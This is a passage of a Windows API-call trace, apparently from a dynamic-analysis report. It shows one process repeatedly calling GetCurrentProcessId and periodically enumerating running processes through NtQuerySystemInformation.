0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.207] GetCurrentProcessId () returned 0xbf4 [0296.207] GetCurrentProcessId () returned 0xbf4 [0296.207] GetCurrentProcessId () returned 0xbf4 [0296.207] GetCurrentProcessId () returned 0xbf4 [0296.207] GetCurrentProcessId () returned 0xbf4 [0296.207] GetCurrentProcessId () returned 0xbf4 [0296.207] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.208] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.209] GetCurrentProcessId () returned 0xbf4 [0296.210] GetCurrentProcessId () returned 0xbf4 [0296.210] GetCurrentProcessId () returned 0xbf4 [0296.210] GetCurrentProcessId () returned 0xbf4 [0296.210] GetCurrentProcessId () returned 0xbf4 [0296.713] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.716] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.717] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.718] GetCurrentProcessId () returned 0xbf4 [0296.719] GetCurrentProcessId () returned 0xbf4 [0296.719] GetCurrentProcessId () returned 0xbf4 [0296.719] GetCurrentProcessId () returned 0xbf4 [0296.719] GetCurrentProcessId () returned 0xbf4 [0296.719] GetCurrentProcessId () returned 0xbf4 [0296.719] GetCurrentProcessId () returned 0xbf4 [0297.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0297.245] GetCurrentProcessId () returned 0xbf4 [0297.245] GetCurrentProcessId () returned 0xbf4 [0297.245] GetCurrentProcessId () returned 0xbf4 [0297.245] GetCurrentProcessId () returned 0xbf4 [0297.245] GetCurrentProcessId () returned 0xbf4 [0297.245] GetCurrentProcessId () returned 0xbf4 [0297.245] GetCurrentProcessId () returned 0xbf4 [0297.245] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.246] GetCurrentProcessId () returned 0xbf4 [0297.247] GetCurrentProcessId () returned 0xbf4 [0297.247] GetCurrentProcessId () returned 0xbf4 [0297.247] GetCurrentProcessId () returned 0xbf4 [0297.247] GetCurrentProcessId () returned 0xbf4 [0297.247] GetCurrentProcessId () returned 0xbf4 [0297.247] GetCurrentProcessId () returned 0xbf4 [0297.247] GetCurrentProcessId () returned 0xbf4 [0297.247] GetCurrentProcessId () returned 0xbf4 [0297.247] GetCurrentProcessId () returned 0xbf4 [0297.247] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.248] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.249] GetCurrentProcessId () returned 0xbf4 [0297.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.772] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.773] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.784] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.785] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0297.786] GetCurrentProcessId () returned 0xbf4 [0298.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.293] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.294] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.295] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.296] GetCurrentProcessId () returned 0xbf4 [0298.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0298.807] GetCurrentProcessId () returned 0xbf4 [0298.807] GetCurrentProcessId () returned 0xbf4 [0298.807] GetCurrentProcessId () returned 0xbf4 [0298.807] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.808] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] 